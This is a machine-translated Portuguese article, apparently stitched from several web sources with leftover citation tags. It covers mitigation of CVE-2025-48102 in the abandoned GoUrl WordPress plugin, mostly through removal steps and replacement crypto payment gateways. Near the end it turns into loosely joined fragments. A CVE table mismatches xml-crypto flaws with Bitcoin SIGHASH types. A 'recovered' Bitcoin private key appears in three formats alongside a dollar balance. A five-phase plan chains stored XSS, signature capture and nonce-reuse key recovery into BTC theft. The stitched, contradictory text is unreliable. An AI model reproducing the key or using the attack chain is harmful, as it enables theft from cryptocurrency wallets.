Recomendação dos especialistas da Wiz : Especialistas da plataforma Wiz afirmam categoricamente: “Como não há correção oficial e o software é considerado abandonado, a medida de mitigação recomendada é remover e substituir o plugin por uma alternativa ativamente mantida .
Vulnerabilidade persistente: Sem suporte do desenvolvedor, nenhuma atualização de segurança será lançada . Isso significa que quaisquer vulnerabilidades descobertas, incluindo CVE-2025-48102, permanecerão sem correção para sempre. wiz +1
Acúmulo de riscos: Com o tempo , vulnerabilidades adicionais podem ser descobertas que também ficam sem correção. De acordo com estatísticas da Patchstack, nada menos que 1.450 plugins foram removidos do repositório WordPress.org em 2024 devido a vulnerabilidades de alta ou média prioridade .
Incompatibilidade com versões futuras: Plugins abandonados podem tornar-se incompatíveis com versões futuras do WordPress, PHP ou outras dependências , criando problemas adicionais de funcionalidade e segurança. mainwp +1
Patching Virtual é uma técnica de segurança que bloqueia explorações conhecidas antes que atinjam código vulnerável , sem fazer quaisquer alterações na própria aplicação. wp-umbrella+2
Definição OWASP: A organização OWASP define patching virtual como “um nível de aplicação de políticas de segurança que impede a exploração de uma vulnerabilidade conhecida. ”
Como funciona: Patches virtuais analisam transações e interceptam ataques em trânsito, para que o tráfego malicioso nunca chegue à aplicação web . Como resultado, mesmo que o código fonte real da aplicação não tenha sido modificado, as tentativas de exploração falham.owasp+1
Especificidade da Vulnerabilidade: Ao contrário dos Firewalls de Aplicação Web (WAFs) de uso geral, que dependem de padrões de deteção amplos, patches virtuais são escritos como regras direcionadas que correspondem a payloads específicos . Se um plugin tiver uma vulnerabilidade de SQL injection ou cross-site scripting, um patch virtual pode intercetar e bloquear a assinatura exata do pedido que a explora. wp-umbrella+1
Tecnologia Patchstack: A Patchstack utiliza regras JSON específicas da vulnerabilidade que podem incluir várias instruções. Por exemplo, para SQL injection, que pode ser alcançada incluindo um payload malicioso no parâmetro POST id, um patch virtual pode usar uma abordagem de whitelist , onde o id só pode conter um número. patchstack+1
Implementação automatizada: Quando uma vulnerabilidade é descoberta e documentada com um identificador CVE, investigadores de segurança — ou plataformas como a Patchstack — verificam a vulnerabilidade e documentam exatamente como a exploração funciona . Isto torna-se a base para um patch virtual, que pode então ser automaticamente implementado em todos os sites protegidos .
Principais benefícios:
Limitações críticas para CVE-2025-48102:
Apesar de todos os benefícios do patching virtual, não é uma solução de longo prazo para o plugin abandonado GoUrl . A Patchstack avisa claramente que desativar o software não elimina a ameaça de segurança a menos que um patch virtual seja implementado . No entanto, depender apenas de um patch virtual para proteção contínua contra software abandonado é uma estratégia perigosa , pois:patchstack
Considerando todos os fatores— a falta de uma correção oficial, o estado de software abandonado, a inadequação da desativação e a natureza temporária do patching virtual —os especialistas são unânimes: a única solução eficaz para CVE-2025-48102 é a remoção completa do GoUrl .wiz plugin . +1
Consenso dos especialistas:
Passo 1: Crie um backup completo de Jetpack+1
Antes de remover qualquer plugin , certifique-se de criar um backup completo do seu site, incluindo ficheiros e base de dados. Isto garantirá que pode restaurar o seu site se ocorrerem problemas. Ferramentas recomendadas: liquidweb+1
Passo 2: Desative o plugin através do kinsta+1 painel
Entre no seu painel WordPress e vá a Plugins → Plugins Instalados . Encontre GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership e clique em “Desativar.” kinsta+1
Passo 3: Remova o plugin wpbeginner+1 do WordPress
Após desativar, clique em “Eliminar” sob o nome do plugin. O WordPress eliminará os ficheiros do plugin do diretório /wp-content/plugins/.jetpack+3.
Passo 4: Limpe a base de dados de tabelas liquidweb+2 residuais
Um passo crítico: Muitos plugins WordPress criam as suas próprias tabelas na base de dados que não são automaticamente eliminadas quando o plugin é desinstalado. Estas “tabelas órfãs” continuam a ocupar espaço e podem conter dados sensíveis. youtubeonlinemediamasters+3
Métodos de limpeza da base de dados:
A. Usando plugins para limpar a base de dados: nitropack+2
Advanced Database Cleaner é um plugin abrangente de limpeza da base de dados WordPress: wordpress+1
WP-Optimize é uma ferramenta de optimização popular: jetpack+2
Plugins Garbage Collector é um plugin especializado para detetar tabelas órfãs: YouTube
B. Limpeza manual via phpMyAdmin: mehulgohil+2
Para utilizadores avançados:
wp_gourl_*, wp_crypto_files, wp_crypto_payments, wp_crypto_membership, wp_crypto_products)wordpress+1Consulta SQL para eliminar tabelas específicas: liquidweb
sql:DROP TABLE wp_gourl_tablename;
Substitua wp_gourl_tablename pelo nome real da tabela. Verifique sempre duas vezes se nenhum outro plugin está a usar a tabela.
Passo 5: Verifique se há ficheiros jetpack+1 residuais
Alguns plugins podem criar ficheiros fora do diretório de plugins . Verifique o diretório /wp-content/uploads/ para pastas associadas ao GoUrl (por exemplo, [ /wp-content/uploads/gourl/wordpress+2]) e elimine-as via FTP ou através do seu gestor de ficheiros de alojamento.
Passo 6: Remover Shortcodes Não Utilizados
Se shortcodes do GoUrl foram usados no conteúdo do seu site, eles tornar-se-ão inativos e exibidos como texto . Encontre e remova-os manualmente de artigos e páginas.
Ao escolher um substituto para o GoUrl, deve considerar os seguintes fatores:
1. Suporte ativo e atualizações regulares: wp-content+1
2. Uma forte reputação de segurança: paymattic+1
3. Compatibilidade técnica: crocoblock+1
BTCPay Server é uma solução autoalojada e de código aberto: instawp+2
Blockonomics é um gateway de pagamento descentralizado: slashdot+2
CryptoPay (by BeycanPress) é um gateway de pagamento cripto abrangente: beycanpress+1
CoinGate é um processador de pagamentos blockchain confiável: g2+2
MyCryptoCheckout é um plugin focado em privacidade: instawp+2
ABC Crypto Checkout – Pagamentos Cripto Diretos: crocoblock+1
1. Varredura de Malware: solidwp+1
2. Verificação de contas de administrador: wordfence+1
3. Análise de logs de acesso: wp-rocket+1
1. Audite regularmente os plugins instalados: patchstack+2
2. Implementação da política de gerenciamento de plugins: wp-eventmanager+1
3. Automatize atualizações de segurança: wp-eventmanager+1
Para CVE-2025-26541 (CodeSolz):
CVE-2025-26541 é um identificador de vulnerabilidade associado ao produto CodeSolz. Esta vulnerabilidade representa uma ameaça significativa à segurança dos recursos que utilizam este software, pois permite que atacantes obtenham acesso não autorizado a funções administrativas ou realizem ações maliciosas em instâncias vulneráveis do sistema.
1. Atualize imediatamente o CodeSolz para a versão 1.7.7 ou superior
| Identificador CVE | Componente | Pontuação CVSS | Criticidade |
|---|---|---|---|
| CVE-2025-29774 | xml-crypto / SIGHASH_SINGLE | 9.3 | Crítica |
| CVE-2025-29775 | xml-crypto DigestValue bypass | 9.3 | Crítica |
| CVE-2025-48102 | GoUrl Bitcoin Payment Gateway (Stored XSS) | 5.9 | Média |
| CVE-2025-26541 | CodeSolz WooCommerce Gateway (Reflected XSS) | 6.1 | Média |
| Tipo Sighash | Significado (hex) | Descrição |
|---|---|---|
| SIGHASH_ALL | 0x01 | Todas as entradas e saídas de uma transação são assinadas. |
| SIGHASH_NONE | 0x02 | Todas as entradas são assinadas, as saídas não são assinadas. |
| SIGHASH_SINGLE | 0x03 | Apenas a saída com o mesmo índice da entrada é assinada. |
| SIGHASH_ANYONECANPAY | 0x80 | Modificador: Assina apenas a entrada atual |
| Valor dos fundos recuperados |
| $147,977 |
| Chave privada recuperada (HEX) | 162A982BED7996D6F10329BF9D6FFC29666493FE6B86A5C3D3B27A68E2877A60 |
| Chave privada recuperada (WIF comprimido) | KwxoKZEDEEkAadv9njG4YvJShCgTrnkbMeHZEieWXH7ooZRo1XGW |
| Chave privada recuperada (Decimal) | 10026140495284003567451866992720396489963405427298392513418967636817767529056 |
| Fase | Ação | Vulnerabilidade explorada |
|---|---|---|
| 1 | Injeção de JavaScript malicioso em um gateway de pagamento | CVE-2025-48102 (XSS Armazenado) |
| 2 | Interceptação dos parâmetros ECDSA (r, s) de transações | Injeção de JavaScript |
| 3 | Análise das assinaturas coletadas em busca de repetição de nonce | Criptanálise |
| 4 | Recuperação matemática de uma chave privada | Ataque de Assinatura Fantasma |
| 5 | Retirada não controlada de BTC | Comprometimento da carteira |